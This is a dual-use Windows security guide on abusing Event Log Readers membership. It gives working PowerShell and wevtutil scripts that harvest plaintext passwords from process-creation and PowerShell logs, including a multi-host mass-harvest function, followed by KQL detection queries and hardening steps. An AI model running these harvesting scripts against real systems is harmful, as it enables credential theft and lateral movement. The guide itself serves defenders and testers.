
Event Log Readers Group Exploitation
Comprehensive guide to exploiting the Event Log Readers group membership in Windows — from credential harvesting to intelligence gathering and attack path enumeration.
Introduction
The Windows Event Log Readers group is often overlooked as a low-privilege security boundary, yet it provides extensive access to system logs that frequently contain sensitive information. Members of this group can read event logs from the local system, including security events, application logs, and system logs. While this access is intended for monitoring and troubleshooting purposes, it creates significant attack vectors for credential harvesting, reconnaissance, and privilege escalation when combined with proper security event analysis.
Information Goldmine
Event logs are a treasure trove for attackers. They capture process command lines, PowerShell script blocks, authentication events, scheduled tasks, service installations, and much more. A skilled attacker with Event Log Readers membership can map the entire security posture of a system without triggering typical intrusion detection systems.
Understanding the Event Log Readers Group
What is Event Log Readers?
The Event Log Readers group is a built-in local security group introduced in Windows Vista and Windows Server 2008. Members of this group have permission to read event logs from the Windows Event Log service but cannot write to logs or modify log settings.
Default Capabilities:
- Read access to Security, Application, System, and Setup logs
- Read access to custom application logs
- Access to Windows PowerShell operational logs
- Access to Microsoft-Windows-* event channels
- Remote event log access (if properly configured)
Default Members:
- None (group is empty by default)
Common SID:
S-1-5-32-573(well-known SID for Event Log Readers)
Why Organizations Grant This Access
Organizations commonly add users to the Event Log Readers group for several legitimate reasons:
-
Security Monitoring Personnel
- SOC analysts reviewing security events
- Incident response teams investigating alerts
- Compliance auditors reviewing audit logs
-
System Administrators
- Troubleshooting without full admin rights
- Application support staff diagnosing issues
- Help desk personnel investigating user problems
-
Automated Systems
- SIEM collection agents
- Log forwarding services
- Monitoring and alerting platforms
- Backup solutions
-
Developers and Testers
- Application debugging in production environments
- Performance troubleshooting
- Integration testing validation
Security Misconception
Many organizations view Event Log Readers as a "safe" privilege to grant broadly because it's "read-only." This dramatically underestimates the intelligence value of event logs and the credentials they often contain.
What Information Resides in Event Logs
Security Event Log
The Security event log records security-related events as defined by the system's audit policy.
Key Events Containing Sensitive Data:
Event ID 4688: Process Creation
When process creation auditing is enabled, this event captures:
- Process name and path
- Command line arguments (including passwords passed as parameters)
- Parent process information
- User context (who executed the command)
- Process ID and creation time
Example Sensitive Data:
Process Command Line: net use Z: \\fileserver\share /user:administrator P@ssw0rd123!
Process Command Line: sqlcmd -S dbserver -U sa -P DBPassword2023!
Process Command Line: psexec.exe \\target -u admin -p SecretPass123 cmd.exeEvent ID 4624: Successful Logon
Records successful authentication attempts with:
- Account name and domain
- Logon type (Interactive, Network, RemoteInteractive, etc.)
- Source network address
- Logon process and authentication package
- Logon GUID (correlates with other events)
Intelligence Value:
- Identify privileged account logon patterns
- Map lateral movement paths
- Discover service accounts and their usage
- Enumerate administrative access patterns
Event ID 4625: Failed Logon
Documents authentication failures:
- Account name attempted
- Failure reason (bad password, account disabled, etc.)
- Source network address
- Failure status codes
Attack Utility:
- Identify valid usernames (even with wrong passwords)
- Discover locked-out accounts
- Map authentication infrastructure
- Find timing windows for authentication
Event ID 4672: Special Privileges Assigned
Logged when a user with administrative or sensitive privileges logs on:
- Account name
- Complete list of sensitive privileges
- Logon ID (correlate with other events)
Privileges Revealed:
- SeDebugPrivilege
- SeTakeOwnershipPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeImpersonatePrivilege
- And many others
Event ID 4648: Logon with Explicit Credentials
Generated when a user runs a program using alternate credentials (RunAs):
- Account performing the operation
- Target account name
- Target server name
- Process information
Value for Lateral Movement Mapping:
- Discover credential reuse patterns
- Identify jump servers and administrative pathways
- Map trust relationships between systems
Application and System Logs
Application Event Log:
- Application errors exposing file paths and configuration
- Database connection failures (sometimes with connection strings)
- Service crashes revealing internal architecture
- Third-party application logging (varies by application)
System Event Log:
- Service installations and configurations
- Driver loading and system component changes
- System startup and shutdown events
- Hardware and driver errors
PowerShell Operational Logs
PowerShell logs are particularly valuable for attackers:
Microsoft-Windows-PowerShell/Operational:
- Event ID 4103: Module Logging (captures function calls)
- Event ID 4104: Script Block Logging (captures PowerShell scripts)
- Event ID 4105: Start of Command
- Event ID 4106: Stop of Command
PowerShell Goldmine
Script Block Logging (Event ID 4104) captures the actual content of PowerShell scripts executed on the system, including administrative scripts that often contain hardcoded credentials, API keys, and infrastructure details.
Example PowerShell Log Exposure:
# Script Block Logging captures this script execution
$password = ConvertTo-SecureString "Winter2024!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("CORP\administrator", $password)
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { Get-ADUser -Filter * }Scheduled Task Logs
Microsoft-Windows-TaskScheduler/Operational:
- Task registration (Event ID 106) - shows task definitions
- Task execution (Event ID 129) - shows what ran and when
- Task completion (Event ID 201) - shows results and output
Scheduled tasks often contain credentials or run with privileged accounts.
Enumeration Techniques
Confirming Group Membership
Step 1: Check Local Group Membership
# Check current user's group membership
whoami /groups
# Specifically check for Event Log Readers
net localgroup "Event Log Readers"
# PowerShell alternative
Get-LocalGroupMember -Group "Event Log Readers"Example Output:
Alias name Event Log Readers
Comment Members of this group can read event logs from local machine
Members
-------------------------------------------------------------------------------
CORP\helpdesk
CORP\monitoring_svc
CORP\john.smith
The command completed successfully.Step 2: Verify Log Access
Test access to security logs:
# Attempt to query security log
Get-WinEvent -LogName Security -MaxEvents 10
# Check available logs
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount, IsEnabled | Where-Object {$_.RecordCount -gt 0}If you receive results (not "access denied"), you have event log read access.
Step 3: Enumerate Audit Policy
Understand what's being logged:
# Check current audit policy
auditpol /get /category:*
# PowerShell alternative for detailed view
Get-AuditPolicy -Category * -SubCategory * | Format-Table -AutoSizeRemote Event Log Access
Event Log Readers can access logs remotely if configured:
# Query remote security log
Get-WinEvent -ComputerName SERVER01 -LogName Security -MaxEvents 100 -Credential (Get-Credential)
# Using wevtutil for remote access
wevtutil qe Security /r:SERVER01 /u:CORP\user /p:password /f:text /c:100
# Check remote log configuration
Get-WinEvent -ListLog * -ComputerName SERVER01 -Credential (Get-Credential)Remote Access Requirements
Remote event log access requires:
- Event Log Readers membership on target system
- Network connectivity to target (RPC/DCOM ports)
- Windows Remote Management enabled (for PowerShell remoting)
- Appropriate firewall rules
Credential Harvesting Techniques
Extracting Credentials from Process Command Lines
Event ID 4688 with command line auditing enabled is the primary source.
Using Get-WinEvent with Filtering
# Search for common credential patterns in command lines
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 10000 |
Where-Object {
$_.Properties[8].Value -match '(password|passwd|pwd|pass|/p:|/user:|credential|secret|token|key|api_key)' -or
$_.Properties[8].Value -match '(-p\s+\S+|-password\s+\S+|--password=\S+)'
} |
Select-Object TimeCreated,
@{Name='User';Expression={$_.Properties[1].Value}},
@{Name='Process';Expression={$_.Properties[5].Value}},
@{Name='CommandLine';Expression={$_.Properties[8].Value}} |
Format-Table -Wrap -AutoSizeTarget Specific High-Value Commands:
# Search for credentials in specific tools
$patterns = @(
'net use.*password',
'sqlcmd.*-P',
'psexec.*-p',
'runas.*password',
'invoke-command.*-credential',
'new-psdrive.*password',
'cmdkey.*pass',
'reg add.*password',
'schtasks.*password'
)
$regexPattern = ($patterns -join '|')
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 50000 |
Where-Object { $_.Properties[8].Value -match $regexPattern } |
Select-Object TimeCreated,
@{Name='Account';Expression={$_.Properties[1].Value}},
@{Name='CommandLine';Expression={$_.Properties[8].Value}} |
Export-Csv -Path C:\Temp\credentials_found.csv -NoTypeInformationExtract net use Commands:
# Specifically target net use commands with credentials
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 100000 |
Where-Object { $_.Properties[8].Value -like '*net use*' -and $_.Properties[8].Value -like '*/user:*' } |
ForEach-Object {
$cmdLine = $_.Properties[8].Value
# Attempt to parse username and password
if ($cmdLine -match '/user:(\S+)\s+(\S+)') {
[PSCustomObject]@{
Time = $_.TimeCreated
User = $_.Properties[1].Value
TargetAccount = $Matches[1]
PossiblePassword = $Matches[2]
FullCommandLine = $cmdLine
}
}
} | Format-Table -AutoSizeUsing wevtutil Command-Line Utility
REM Query security log for process creation with passwords
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "password passwd pwd /p:"
REM Export to XML for parsing
wevtutil epl Security C:\Temp\Security.evtx /q:"*[System[(EventID=4688)]]"
REM Query with structured XML
wevtutil qe Security /q:"*[System[(EventID=4688)] and EventData[Data[@Name='CommandLine'] and (contains(Data, 'password') or contains(Data, '/user:'))]]" /f:text /c:1000
REM Remote query
wevtutil qe Security /r:SERVER01 /u:CORP\user /p:password /q:"*[System[(EventID=4688)]]" /f:text | findstr /i "password"Advantages of wevtutil:
- Native Windows tool (no PowerShell required)
- Faster for large log queries
- Better for scripting in batch files
- Can work on older Windows versions
Comprehensive Credential Extraction Script
function Find-CredentialsInEventLogs {
[CmdletBinding()]
param(
[string]$ComputerName = $env:COMPUTERNAME,
[int]$MaxEvents = 100000,
[string]$OutputPath = "C:\Temp\credentials_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
)
Write-Host "[*] Searching for credentials in event logs on $ComputerName..." -ForegroundColor Cyan
# Credential patterns to search for
$patterns = @{
'NetUse' = 'net\s+use.*?/user:\s*(\S+)\s+(\S+)'
'SqlCmd' = 'sqlcmd.*?-U\s+(\S+).*?-P\s+(\S+)'
'PsExec' = 'psexec.*?-u\s+(\S+).*?-p\s+(\S+)'
'RunAs' = 'runas.*?/user:(\S+).*?\s+(\S+)'
'PowerShell' = 'password|credential|securestring|convertto-securestring'
'Generic' = '(password|passwd|pwd)[\s=:]+(\S+)'
}
$results = @()
# Search Security log (Event ID 4688 - Process Creation)
Write-Host "[*] Searching Security log (Event ID 4688)..." -ForegroundColor Yellow
try {
$events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable @{
LogName = 'Security'
ID = 4688
} -MaxEvents $MaxEvents -ErrorAction Stop
foreach ($event in $events) {
$commandLine = $event.Properties[8].Value
$user = $event.Properties[1].Value
$process = $event.Properties[5].Value
foreach ($patternName in $patterns.Keys) {
if ($commandLine -match $patterns[$patternName]) {
$results += [PSCustomObject]@{
Timestamp = $event.TimeCreated
Computer = $ComputerName
LogType = 'Security'
EventID = 4688
User = $user
Process = $process
Pattern = $patternName
CommandLine = $commandLine
ExtractedUser = if ($Matches.Count -ge 2) { $Matches[1] } else { 'N/A' }
ExtractedPassword = if ($Matches.Count -ge 3) { $Matches[2] } else { 'N/A' }
}
}
}
}
} catch {
Write-Warning "Failed to query Security log: $_"
}
# Search PowerShell Operational log (Event ID 4104 - Script Block)
Write-Host "[*] Searching PowerShell Operational log (Event ID 4104)..." -ForegroundColor Yellow
try {
$psEvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents $MaxEvents -ErrorAction Stop
foreach ($event in $psEvents) {
$scriptBlock = $event.Properties[2].Value
if ($scriptBlock -match '(password|credential|securestring|ConvertTo-SecureString|PSCredential)') {
$results += [PSCustomObject]@{
Timestamp = $event.TimeCreated
Computer = $ComputerName
LogType = 'PowerShell'
EventID = 4104
User = $event.UserId
Process = 'powershell.exe'
Pattern = 'PowerShellScriptBlock'
CommandLine = $scriptBlock.Substring(0, [Math]::Min(500, $scriptBlock.Length))
ExtractedUser = 'See CommandLine'
ExtractedPassword = 'See CommandLine'
}
}
}
} catch {
Write-Warning "Failed to query PowerShell log: $_"
}
# Export results
if ($results.Count -gt 0) {
$results | Export-Csv -Path $OutputPath -NoTypeInformation
Write-Host "[+] Found $($results.Count) potential credentials!" -ForegroundColor Green
Write-Host "[+] Results exported to: $OutputPath" -ForegroundColor Green
# Display summary
$results | Group-Object Pattern | Select-Object Name, Count | Format-Table -AutoSize
return $results
} else {
Write-Host "[-] No credentials found in event logs" -ForegroundColor Red
}
}
# Usage
Find-CredentialsInEventLogs -ComputerName "localhost" -MaxEvents 50000Mass Collection from Multiple Systems
function Invoke-MassCredentialHarvest {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string[]]$ComputerNames,
[PSCredential]$Credential,
[int]$MaxEvents = 10000,
[string]$OutputDirectory = "C:\Temp\CredHarvest"
)
# Create output directory
if (-not (Test-Path $OutputDirectory)) {
New-Item -ItemType Directory -Path $OutputDirectory -Force | Out-Null
}
$allResults = @()
foreach ($computer in $ComputerNames) {
Write-Host "[*] Processing $computer..." -ForegroundColor Cyan
try {
# Build parameters
$params = @{
ComputerName = $computer
FilterHashtable = @{
LogName = 'Security'
ID = 4688
}
MaxEvents = $MaxEvents
ErrorAction = 'Stop'
}
if ($Credential) {
$params.Credential = $Credential
}
# Query events
$events = Get-WinEvent @params
# Filter for credential patterns
$credEvents = $events | Where-Object {
$_.Properties[8].Value -match '(password|passwd|pwd|/p:|/user:|credential|secret|-P\s+)'
}
foreach ($event in $credEvents) {
$allResults += [PSCustomObject]@{
ComputerName = $computer
Timestamp = $event.TimeCreated
User = $event.Properties[1].Value
Process = $event.Properties[5].Value
CommandLine = $event.Properties[8].Value
}
}
Write-Host "[+] Found $($credEvents.Count) potential credentials on $computer" -ForegroundColor Green
} catch {
Write-Warning "Failed to process $computer: $_"
}
}
# Export consolidated results
if ($allResults.Count -gt 0) {
$outputFile = Join-Path $OutputDirectory "AllCredentials_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
$allResults | Export-Csv -Path $outputFile -NoTypeInformation
Write-Host "`n[+] Total credentials found: $($allResults.Count)" -ForegroundColor Green
Write-Host "[+] Results saved to: $outputFile" -ForegroundColor Green
# Summary by computer
Write-Host "`n[*] Summary by computer:" -ForegroundColor Cyan
$allResults | Group-Object ComputerName |
Select-Object Name, Count |
Sort-Object Count -Descending |
Format-Table -AutoSize
}
return $allResults
}
# Usage
$computers = @("SERVER01", "SERVER02", "WORKSTATION01")
$cred = Get-Credential -Message "Enter credentials for remote access"
Invoke-MassCredentialHarvest -ComputerNames $computers -Credential $cred -MaxEvents 20000PowerShell Script Block Credential Extraction
PowerShell Script Block Logging (Event ID 4104) often captures complete scripts with hardcoded credentials.
# Search PowerShell logs for credential patterns
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 10000 |
Where-Object {
$scriptBlock = $_.Properties[2].Value
$scriptBlock -match '(ConvertTo-SecureString|PSCredential|password\s*=|Get-Credential|username\s*=)' -and
$scriptBlock -match '(-AsPlainText|-Force|ConvertFrom-SecureString)'
} |
Select-Object TimeCreated,
@{Name='ScriptBlock';Expression={
$_.Properties[2].Value.Substring(0, [Math]::Min(2000, $_.Properties[2].Value.Length))
}} |
Out-GridView -Title "Potentially Sensitive PowerShell Scripts"Specific Pattern: Hardcoded Credentials
# Extract PSCredential object creations with plaintext passwords
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} -MaxEvents 50000 |
ForEach-Object {
$scriptBlock = $_.Properties[2].Value
# Pattern: $password = ConvertTo-SecureString "Password123" -AsPlainText -Force
if ($scriptBlock -match 'ConvertTo-SecureString\s+"([^"]+)"\s+-AsPlainText') {
$extractedPassword = $Matches[1]
# Try to find associated username
$username = if ($scriptBlock -match '(username|user|account)\s*=\s*"([^"]+)"') {
$Matches[2]
} else {
'Unknown'
}
[PSCustomObject]@{
Timestamp = $_.TimeCreated
Username = $username
Password = $extractedPassword
FullScript = $scriptBlock.Substring(0, [Math]::Min(500, $scriptBlock.Length))
}
}
} | Format-Table -Wrap -AutoSizeScheduled Task Credential Extraction
Scheduled tasks may contain credentials or reveal privileged accounts.
# Search Task Scheduler logs for task registration with credentials
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-TaskScheduler/Operational'
ID = 106 # Task registered
} -MaxEvents 5000 |
ForEach-Object {
$xml = [xml]$_.ToXml()
$taskName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskName'} | Select-Object -ExpandProperty '#text'
$userName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'UserName'} | Select-Object -ExpandProperty '#text'
[PSCustomObject]@{
Time = $_.TimeCreated
TaskName = $taskName
RunAsUser = $userName
TaskXML = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskXml'} | Select-Object -ExpandProperty '#text'
}
} |
Where-Object { $_.RunAsUser -and $_.RunAsUser -notlike 'S-1-5-*' } |
Format-ListIntelligence Gathering and Reconnaissance
Mapping Privileged Access Patterns
Understanding who has administrative access and when they use it:
# Identify accounts with special privileges
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672} -MaxEvents 10000 |
Select-Object TimeCreated,
@{Name='Account';Expression={$_.Properties[1].Value}},
@{Name='Domain';Expression={$_.Properties[2].Value}},
@{Name='LogonID';Expression={$_.Properties[3].Value}},
@{Name='Privileges';Expression={
($_.Properties[4].Value -split '\s+') -join ', '
}} |
Group-Object Account |
Select-Object Name, Count,
@{Name='Privileges';Expression={
$_.Group[0].Privileges
}} |
Sort-Object Count -Descending |
Format-Table -AutoSizeEnumerating Service Accounts
Service accounts often have elevated privileges and weak passwords.
# Find service account logons (Type 5 = Service)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 20000 |
Where-Object {$_.Properties[8].Value -eq 5} | # Logon Type 5 = Service
Select-Object TimeCreated,
@{Name='Account';Expression={$_.Properties[5].Value}},
@{Name='Domain';Expression={$_.Properties[6].Value}},
@{Name='LogonType';Expression={'Service'}},
@{Name='ProcessName';Expression={$_.Properties[17].Value}} |
Group-Object Account |
Select-Object Name, Count |
Sort-Object Count -Descending |
Format-Table -AutoSizeLateral Movement Detection and Mapping
Track administrative lateral movement patterns:
# Detect potential lateral movement (Network logons with admin privileges)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 50000 |
Where-Object {
$logonType = $_.Properties[8].Value
$account = $_.Properties[5].Value
# Network logon (3) or RemoteInteractive (10)
($logonType -eq 3 -or $logonType -eq 10) -and
$account -notlike '*$' -and # Exclude computer accounts
$account -ne 'ANONYMOUS LOGON'
} |
Select-Object TimeCreated,
@{Name='Account';Expression={$_.Properties[5].Value}},
@{Name='SourceIP';Expression={$_.Properties[18].Value}},
@{Name='LogonType';Expression={
switch ($_.Properties[8].Value) {
3 {'Network'}
10 {'RemoteInteractive'}
default {$_.Properties[8].Value}
}
}},
@{Name='TargetComputer';Expression={$env:COMPUTERNAME}} |
Group-Object Account, SourceIP |
Select-Object @{Name='Account';Expression={$_.Group[0].Account}},
@{Name='SourceIP';Expression={$_.Group[0].SourceIP}},
Count,
@{Name='FirstSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Minimum).Minimum}},
@{Name='LastSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Maximum).Maximum}} |
Sort-Object Count -Descending |
Format-Table -AutoSizeApplication and Service Enumeration
Discover installed applications and services:
# Find service installations
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} -MaxEvents 5000 |
Select-Object TimeCreated,
@{Name='ServiceName';Expression={$_.Properties[0].Value}},
@{Name='ImagePath';Expression={$_.Properties[1].Value}},
@{Name='ServiceType';Expression={$_.Properties[2].Value}},
@{Name='StartType';Expression={$_.Properties[3].Value}},
@{Name='AccountName';Expression={$_.Properties[4].Value}} |
Format-Table -Wrap -AutoSizeDetection and Monitoring
Detecting Malicious Event Log Queries
Defenders should monitor for suspicious event log access patterns.
Indicators of Compromise
Detection Opportunities
While Event Log Readers access is legitimate, certain patterns indicate reconnaissance or credential harvesting activities.
Suspicious Patterns:
-
High-Volume Queries
- Querying tens of thousands of events in short time
- Automated scripted queries
- Queries spanning entire event log history
-
Targeted Queries
- Specific filtering for Event ID 4688 with command line patterns
- PowerShell operational log queries
- Scheduled task log access
-
Time-Based Anomalies
- Event log queries outside business hours
- Queries from accounts that rarely access logs
- First-time event log access by an account
-
Behavioral Anomalies
- Service accounts querying event logs
- Event log queries followed by lateral movement
- Event log exports to removable media or network shares
Logging Event Log Access
Unfortunately, Windows does not log event log read operations by default. However, you can implement detection through:
Process Auditing (Event ID 4688):
Monitor for processes commonly used to query event logs:
wevtutil.exepowershell.exewith Get-WinEvent cmdlets- Custom log collection tools
// Example KQL query for Defender/Sentinel
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wevtutil.exe" or
NewProcessName endswith "\\powershell.exe" or
NewProcessName endswith "\\pwsh.exe"
| where CommandLine contains "Get-WinEvent" or
CommandLine contains "wevtutil qe" or
CommandLine contains "Security" or
CommandLine contains "4688"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName
| summarize Count = count(),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated),
CommandLines = make_set(CommandLine, 10)
by Computer, SubjectUserName
| where Count > 10 // High volume queriesPowerShell Script Block Logging:
Monitor for event log query commands in PowerShell scripts:
Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational"
| where EventID == 4104 // Script Block Logging
| where EventData contains "Get-WinEvent" or EventData contains "FilterHashtable"
| extend ScriptBlock = tostring(parse_xml(EventData).EventData.Data)
| where ScriptBlock contains "Security" or ScriptBlock contains "4688"
| project TimeGenerated, Computer, UserName, ScriptBlockNetwork-Based Detection
Monitor for remote event log access:
// Detect remote event log queries via WinRM
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wsmprovhost.exe" // WinRM provider host
| where ParentProcessName endswith "\\svchost.exe"
| join kind=inner (
SecurityEvent
| where EventID == 4624 // Logon
| where LogonType == 3 // Network logon
| project LogonTime=TimeGenerated, Computer, TargetUserName, IpAddress
) on Computer
| where TimeGenerated >= LogonTime and TimeGenerated <= (LogonTime + 5m)
| project LogonTime, TimeGenerated, Computer, TargetUserName, IpAddress, CommandLineBehavioral Baselining
Create baselines for normal event log access patterns:
Identify Legitimate Accessors
Document accounts and systems that legitimately query event logs:
- SIEM collection agents
- Monitoring service accounts
- SOC analyst accounts
- Backup solutions
Establish Normal Query Patterns
Monitor typical query characteristics:
- Volume (number of events queried)
- Frequency (how often queries occur)
- Timing (time of day patterns)
- Event IDs queried
Alert on Deviations
Trigger alerts when access patterns deviate from baseline:
- New accounts querying logs for first time
- Significantly higher query volumes
- Queries during unusual time windows
- Access from unexpected source systems
Mitigation and Hardening
Principle of Least Privilege
Step 1: Audit Current Membership
# List current members
Get-LocalGroupMember -Group "Event Log Readers"
# Check across domain
Get-ADGroupMember -Identity "Event Log Readers" -Server $DC
# Export for review
Get-LocalGroupMember -Group "Event Log Readers" |
Export-Csv -Path C:\Temp\EventLogReaders_Audit.csv -NoTypeInformationStep 2: Remove Unnecessary Members
# Remove specific user
Remove-LocalGroupMember -Group "Event Log Readers" -Member "CORP\john.smith"
# Remove all non-service accounts
Get-LocalGroupMember -Group "Event Log Readers" |
Where-Object {$_.Name -notlike '*svc*' -and $_.Name -notlike '*service*'} |
ForEach-Object {
Remove-LocalGroupMember -Group "Event Log Readers" -Member $_.Name
Write-Host "Removed: $($_.Name)"
}Step 3: Implement Just-In-Time Access
For accounts requiring temporary log access:
function Grant-TemporaryLogAccess {
param(
[string]$UserName,
[int]$Hours = 4
)
# Add to Event Log Readers
Add-LocalGroupMember -Group "Event Log Readers" -Member $UserName
Write-Host "[+] Granted Event Log Readers to $UserName for $Hours hours"
# Schedule automatic removal
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Event Log Readers' -Member '$UserName'`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "RemoveLogAccess_$($UserName.Replace('\','_'))" `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Force
Write-Host "[+] Scheduled automatic removal at $((Get-Date).AddHours($Hours))"
}
# Usage
Grant-TemporaryLogAccess -UserName "CORP\helpdesk" -Hours 2Disable Command Line Logging for Sensitive Operations
If command line auditing exposes too much sensitive data:
# Disable process command line auditing (not recommended - reduces visibility)
auditpol /set /subcategory:"Process Creation" /success:disable
# Better: Implement credential management best practices to avoid CLI passwordsSecurity Trade-off
Disabling command line logging reduces visibility into system activities and hinders incident response. Instead, focus on eliminating credential exposure through proper secret management.
Implement Alternative Credential Methods
Eliminate plaintext credentials from command lines:
Use Integrated Authentication:
# Bad: Credentials in command line
sqlcmd -S server -U sa -P password123
# Good: Use integrated authentication
sqlcmd -S server -EUse Credential Manager:
# Store credentials securely
cmdkey /add:server /user:admin /pass:password123
# Use stored credentials
net use \\server\share /user:admin /savecredPowerShell Secure Strings:
# Export encrypted credential (user-specific, machine-specific)
$cred = Get-Credential
$cred | Export-Clixml -Path C:\secure\cred.xml
# Import and use
$cred = Import-Clixml -Path C:\secure\cred.xml
Invoke-Command -ComputerName server -Credential $cred -ScriptBlock {...}Log Forwarding and Centralization
Reduce local log access requirements by centralizing logs:
Configure Windows Event Forwarding (WEF)
# On collector server
wecutil qc /q
# Create subscription
$subscription = @"
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscription">
<SubscriptionId>SecurityLogs</SubscriptionId>
<SubscriptionType>SourceInitiated</SubscriptionType>
<Description>Forward security logs</Description>
<Enabled>true</Enabled>
<Query><![CDATA[
<QueryList>
<Query Id="0">
<Select Path="Security">*[System[(EventID=4624 or EventID=4625 or EventID=4688 or EventID=4672)]]</Select>
</Query>
</QueryList>
]]></Query>
</Subscription>
"@
$subscription | Out-File C:\Temp\subscription.xml
wecutil cs C:\Temp\subscription.xmlConfigure Source Systems
# Enable event forwarding
winrm quickconfig -q
# Add collector server
wecutil qc /qBenefits
- Centralized log analysis without local access
- Reduced Event Log Readers group membership
- Improved security monitoring
- Enhanced incident response capabilities
Enhanced Auditing Configuration
Configure granular auditing to capture security-relevant events without excessive sensitive data:
# Enable security auditing
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Account Management" /success:enable /failure:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Policy Change" /success:enable /failure:enable
auditpol /set /category:"Privilege Use" /success:enable /failure:enable
# Enable process creation auditing (but consider command line implications)
auditpol /set /subcategory:"Process Creation" /success:enable
# Configure PowerShell logging
$psLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $psLogging -Force
Set-ItemProperty -Path $psLogging -Name "EnableScriptBlockLogging" -Value 1
# Module logging
$moduleLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-Item -Path $moduleLogging -Force
Set-ItemProperty -Path $moduleLogging -Name "EnableModuleLogging" -Value 1Conclusion
The Event Log Readers group, while appearing innocuous as a "read-only" privilege, provides extensive intelligence-gathering capabilities that sophisticated attackers leverage for credential harvesting, reconnaissance, and attack planning. Organizations must treat this group membership with appropriate security rigor, applying least privilege principles and implementing robust monitoring for anomalous event log access patterns.
Key Takeaways
-
Event Logs Are Intelligence Goldmines: Security, PowerShell, and Task Scheduler logs frequently contain credentials, privileged account usage patterns, and system architecture details.
-
Command Line Auditing Double-Edged Sword: While command line logging provides valuable security telemetry, it also creates credential exposure risks that must be managed through proper secret handling practices.
-
Monitoring Is Challenging: Windows does not natively log event log read access, requiring creative detection approaches through process monitoring and behavioral analytics.
-
Defense Requires Layering: Effective defense combines membership restrictions, alternative credential methods, centralized logging, and active monitoring.
-
Credential Hygiene Is Critical: Eliminating credentials from command lines and scripts is the most effective mitigation against this attack vector.
Defense Checklist
- Audit current Event Log Readers group membership
- Remove unnecessary accounts from Event Log Readers
- Implement Just-In-Time access for legitimate users
- Enable PowerShell Script Block Logging
- Configure process creation auditing (Event ID 4688)
- Establish baseline for normal event log access patterns
- Deploy detection for wevtutil.exe and Get-WinEvent usage
- Implement Windows Event Forwarding (WEF) to centralize logs
- Train administrators on secure credential handling
- Eliminate plaintext credentials from command lines
- Implement credential vaults and secret management solutions
- Regular review of sensitive events for credential exposure
- Document legitimate event log access requirements
References
MITRE ATT&CK Techniques
- T1003.001 - OS Credential Dumping: LSASS Memory - Credentials in logs
- T1552.006 - Unsecured Credentials: Group Policy Preferences - Credentials in GPP logs
- T1087 - Account Discovery - Account enumeration via logs
- T1069 - Permission Groups Discovery - Group enumeration
- T1059.001 - Command and Scripting Interpreter: PowerShell - Script block logging intelligence
Common Weakness Enumeration
- CWE-532 - Insertion of Sensitive Information into Log File - Credential exposure in logs
- CWE-200 - Exposure of Sensitive Information - Information disclosure
Microsoft Documentation
- Microsoft: Event Log Readers Group - Group documentation
- Microsoft: Windows Event Forwarding - Log centralization
Security Resources
- HackTricks: Event Log Readers - Exploitation techniques
- SANS: Windows Event Logging - Event log security
By understanding the intelligence value of event logs and implementing comprehensive controls around Event Log Readers group membership, organizations can significantly reduce the risk of credential theft and reconnaissance activities that leverage this often-overlooked attack surface.
Last updated on
DLL Injection Techniques
Comprehensive guide to DLL injection methods in Windows — from classic LoadLibrary injection to advanced reflective DLL injection and DLL hijacking techniques.
Hyper-V Administrators Group Exploitation
Comprehensive guide to exploiting Hyper-V Administrators group membership — from VM manipulation to privilege escalation and domain compromise techniques.